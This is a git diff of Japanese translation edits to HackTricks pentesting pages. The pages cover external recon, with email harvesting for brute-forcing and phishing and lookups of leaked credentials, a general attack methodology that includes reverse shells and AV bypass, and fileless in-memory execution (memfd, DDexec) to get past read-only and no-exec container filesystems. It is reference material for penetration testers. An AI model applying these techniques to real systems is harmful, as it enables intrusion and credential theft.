* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を参照してください)。 次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。
得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。** 得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探すべきです**。 クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**必要があることを忘れないでください
### **脆弱性の検索** ### **脆弱性の検索**
@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## メール ## メール
スコープ内の**ドメイン**と**サブドメイン**を使って、**メールを検索するために必要なすべての情報**を基本的に持っています。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です: スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのもの**があります。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用 * [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用
* [**https://hunter.io/**](https://hunter.io/)のAPI無料版 * [**https://hunter.io/**](https://hunter.io/)のAPI無料版
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索** ### **脆弱性の検索**
メールは後で**ウェブログインや認証サービス**SSHなどを**ブルートフォース**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。 メールは、**ウェブログインや認証サービス**SSHなどを**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
## 資格情報の漏洩 ## 資格情報の漏洩
**ドメイン、** **サブドメイン、** **メール**を使て、過去に漏洩した資格情報を探し始めることができます: **ドメイン、** **サブドメイン、** **メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
@ -592,7 +592,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Google Dorks ### Google Dorks
古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 古くても金のようなGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_ _すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_
@ -614,15 +614,15 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**ウェブペンテスティングの方法論**](../../network-services-pentesting/pentesting-web/) ## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/)
**バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテストの方法論**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 **バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます** また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**
## 再確認 ## 再確認
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 > おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
したがって、すでに次のことを行っています: したがって、すでに次のことを行っています:
@ -631,10 +631,10 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
3. 会社に属するすべての**ドメイン**を見つけた 3. 会社に属するすべての**ドメイン**を見つけた
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?) 4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけた 5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけた
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものは?) 6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものは?)
7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた 7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる** 8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
9. **見つけたすべてのウェブをペンテストする** 9. 見つけたすべてのウェブを**ペンテスト**
## **フルリコン自動ツール** ## **フルリコン自動ツール**
@ -649,9 +649,9 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_ **ハッキングキャリア**に興味があり、**ハッキング不可能なものをハッキングしたい**方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -664,7 +664,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -27,9 +27,9 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
_Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によってデザインされました。_ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によってデザインされました。_
### 0- 物理攻撃 ### 0- 物理攻撃
攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。
### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/) ### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/)
@ -42,11 +42,11 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** ### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
**このセクションは内部テストを実施している場合にのみ適用されます。**\ **このセクションは内部テストを実施している場合にのみ適用されます。**\
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的に(MitM)**ネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテスティングネットワーク**](pentesting-network/#sniffing)を読むことができます。 ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテスティングネットワーク**](pentesting-network/#sniffing)を読むことができます。
### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts) ### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts)
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[ **ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 **ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md) ### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md)
@ -56,12 +56,12 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。 実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。
**この本の中には、最も一般的なサービスをペンテストするためのガイドが含まれています**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスティング**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 **この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスティング**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
**特に** [**ペンテスティングWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ **特に** [**ペンテスティングWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。 また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテスティングを行い、**サービスに接続し、ファジングして応答を読み取ることから始めることができます**(あれば)。 **インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテスティングを行い、**サービスに接続し、ファジングして応答を読ことから始めることができます**(あれば)。
#### 5.1 自動ツール #### 5.1 自動ツール
@ -77,7 +77,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **7-** [**シェルを取得する**](reverse-shells/) ### **7-** [**シェルを取得する**](reverse-shells/)
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するために使用できるシステム内の可能なツールのリストが非常に役立ちます](reverse-shells/)。 何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます](reverse-shells/)。
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\ 特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
@ -110,14 +110,14 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
#### **10.2- ドメイン特権昇格** #### **10.2- ドメイン特権昇格**
ここに、[**Active Directoryで特権を列挙、昇格、持続るための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスティング/レッドチームの任務において**非常にデリケート**である可能性があります。 ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスティング/レッドチームの任務において**非常にデリケート**である可能性があります。
### 11 - POST ### 11 - POST
#### **11**.1 - ルーティング #### **11**.1 - ルーティング
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で**他のマシンにアクセスできるか**確認してください。\ ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
[**Windowsでパスワードをダンプするためのさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。 [**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。
#### 11.2 - 持続性 #### 11.2 - 持続性
@ -128,7 +128,7 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる
### 12 - ピボッティング ### 12 - ピボッティング
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見しスキャンする**必要があるかもしれません(ペンテスティング手法を再度開始)。\ **収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見しスキャンする**必要があるかもしれません(ペンテスティング手法を再度開始)。\
この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\ この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\
また、[Active Directoryペンテスティング手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ また、[Active Directoryペンテスティング手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 [**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
@ -151,7 +151,7 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md) * [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。

View file

@ -1,4 +1,4 @@
# FS保護のバイパス: 読み取り専用 / no-exec / Distroless # FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -8,29 +8,29 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 動画 ## 動画
以下の動画では、このページで言及された技術がより深く説明されています: 以下の動画では、このページで言及された技術がより深く説明されています
* [**DEF CON 31 - Linuxメモリ操作の探求: ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - Linuxメモリ操作の探求ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ngとメモリ内dlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**DDexec-ngとメモリ内dlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## 読み取り専用 / no-execシナリオ ## 読み取り専用 / 実行不可シナリオ
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行するのが簡単だからです: Linuxマシンが**読み取り専用roファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -45,15 +45,15 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**no-exec保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。 しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。
{% hint style="warning" %} {% hint style="warning" %}
レッドチームの観点から見ると、これは**システムに既に存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。 レッドチームの観点から見ると、これは**システムに既に存在しないバイナリ(バックドアや`kubectl`のような列挙ツール)をダウンロードして実行することを複雑にします**
{% endhint %} {% endhint %}
## 最も簡単なバイパス: スクリプト ## 最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。 バイナリについて言及しましたが、**インタープリタがマシン内にある限り、任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。 ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
@ -63,21 +63,21 @@ securityContext:
### FD + execシステムコールバイパス ### FD + execシステムコールバイパス
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。 マシン内に**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**できます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**手順を含むスクリプトが生成されます。 これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
{% hint style="warning" %} {% hint style="warning" %}
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。 これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、実行することが許可されないからです。 さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても機能しません。なぜなら、**実行不可保護**が適用されるため、実行することが許可されないからです。
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**技術です。 [**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**ことを可能にする技術です。
したがって、プロセスによって実行されているアセンブリコードを**制御することき**、**シェルコード**を書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。 したがって、**プロセスによって実行されているアセンブリコードを制御することで、**シェルコードを書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec**を使用すると、**メモリから**自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**できます。 **DDexec / EverythingExec**を使用すると、**メモリから**自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**できます。
@ -132,7 +132,7 @@ Distrolessコンテナでは、**通常のシェルを取得するための`sh`
**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。 **RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
@ -147,7 +147,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。 * [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。
</details> </details>

View file

@ -1,8 +1,8 @@
# Linux Active Directory # Linux Active Directory
{% hint style="success" %} {% hint style="success" %}
